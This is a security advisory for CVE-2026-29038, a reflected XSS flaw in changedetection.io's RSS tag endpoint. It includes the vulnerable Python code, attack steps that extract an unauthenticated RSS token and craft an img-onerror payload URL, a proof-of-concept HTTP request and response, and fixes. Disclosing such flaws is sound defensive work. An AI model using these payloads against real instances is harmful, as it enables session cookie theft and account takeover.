CVE-2026-29038
MEDIUM6.1EPSS 0.02%changedetection.io has Reflected XSS in its RSS Tag Error Response
Description
A reflected cross-site scripting (XSS) vulnerability was identified in the `/rss/tag/` endpoint of changedetection.io. The `tag_uuid` path parameter is reflected directly in the HTTP response body without HTML escaping. Since Flask returns `text/html` by default for plain string responses, the browser parses and executes injected JavaScript. This vulnerability persists in version **0.54.1**, which patched the related XSS in `/rss/watch/` (CVE-2026-27645 / GHSA-mw8m-398g-h89w) but did not address the identical pattern in the tag RSS endpoint. ## Package - **Ecosystem:** pip - **Package:** changedetection.io - **Affected versions:** <= 0.54.1 - **Patched versions:** _(none yet)_ ## Severity **Moderate - CVSS 6.1** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` ## Details **File:** `changedetectionio/blueprint/rss/tag.py` **Line:** 36 **Source:** [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py) The `tag_uuid` parameter from the URL path is interpolated into the response body using an f-string with no escaping: ```python tag = datastore.data['settings']['application'].get('tags', {}).get(tag_uuid) if not tag: return f"Tag with UUID {tag_uuid} not found", 404 # ← No escaping, Content-Type: text/html ``` Flask's default `Content-Type` for plain string responses is `text/html; charset=utf-8`, so any HTML/JavaScript injected via `{tag_uuid}` is rendered and executed by the browser. ### Relationship to CVE-2026-27645 CVE-2026-27645 (GHSA-mw8m-398g-h89w) addressed the identical vulnerability pattern in `/rss/watch/` (`single_watch.py`). The fix applied in v0.54.1 patched that endpoint but **did not** fix the same pattern in `/rss/tag/` (`tag.py`). Testing confirms: - **`/rss/watch/` on v0.54.1** — Returns generic 404 page, XSS no longer triggers ✅ - **`/rss/tag/` on v0.54.1** — XSS payload still fires, vulnerability confirmed ❌ ## Attack Vector The attack requires a valid RSS access token, which is a 32-character hex string exposed in the `<link>` HTML tag on the homepage without authentication: 1. Attacker visits the target's homepage (if unauthenticated) and extracts the RSS token from the `<link>` tag 2. Crafts a malicious URL: ``` http://target:5000/rss/tag/<img src=x onerror=alert(document.cookie)>?token=EXTRACTED_TOKEN ``` 3. Sends the link to a victim who has an active session on the changedetection.io instance 4. When the victim clicks the link, the server responds with: ``` Tag with UUID <img src=x onerror=alert(document.cookie)> not found ``` 5. The browser renders the `<img>` tag, the `onerror` fires, and JavaScript executes in the victim's session context ## Proof of Concept ### Request ```http GET /rss/tag/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token=60b83b06df98b24c66367bc3d233105b HTTP/1.1 Host: localhost:5000 ``` ### Response ```http HTTP/1.1 404 NOT FOUND Content-Type: text/html; charset=utf-8 Tag with UUID <img src=x onerror=alert(document.domain)> not found ``` The XSS payload is reflected unescaped in an HTML response. The browser executes `alert(document.domain)` and displays "localhost", confirming JavaScript execution. **Tested on:** changedetection.io v0.54.1 (Docker, localhost, Feb 25, 2026) https://github.com/user-attachments/assets/6db07f6a-6df8-48a7-a597-9f39dfa1bb29 ## Impact - **Session cookie theft** via `document.cookie` exfiltration - **Account takeover** if session cookies lack the `HttpOnly` flag - **Phishing** via crafted links that appear to originate from a trusted changedetection.io instance - **Low exploitation barrier** - the RSS token is obtainable without authentication from the homepage `<link>` tag - **Widespread exposure** - prior scanning of internet-facing instances (during CVE-2026-27645 research) identified 500+ publicly accessible deployments ## Suggested Fix Escape the `tag_uuid` parameter before reflecting it in the response, or set the `Content-Type` to `text/plain`: ### Option A: HTML Escape (Recommended) ```python from markupsafe import escape if not tag: return f"Tag with UUID {escape(tag_uuid)} not found", 404 ``` ### Option B: Set Content-Type to text/plain ```python from flask import make_response if not tag: resp = make_response(f"Tag with UUID {tag_uuid} not found", 404) resp.headers['Content-Type'] = 'text/plain; charset=utf-8' return resp ``` ## Credits - **Roberto Nunes** ([@Akokonunes](https://github.com/Akokonunes)) - Reporter - **neo-ai-engineer** ([@neo-ai-engineer](https://github.com/neo-ai-engineer)) - Reporter ## References - Related advisory: [GHSA-mw8m-398g-h89w](https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w) (CVE-2026-27645) - Vulnerable source: [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py)
Affected packages (1)
- PyPI/changedetection-iofrom 0, < 0.54.4
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
References (6)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-29038
- PATCHhttps://github.com/dgtlmoon/changedetection.io
- WEBhttps://github.com/dgtlmoon/changedetection.io/commit/ec7d56f85d1e9690fca7cb4711c1fb20dffec780
- WEBhttps://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4
- WEBhttps://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8whx-v8qq-pq64
- WEBhttps://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w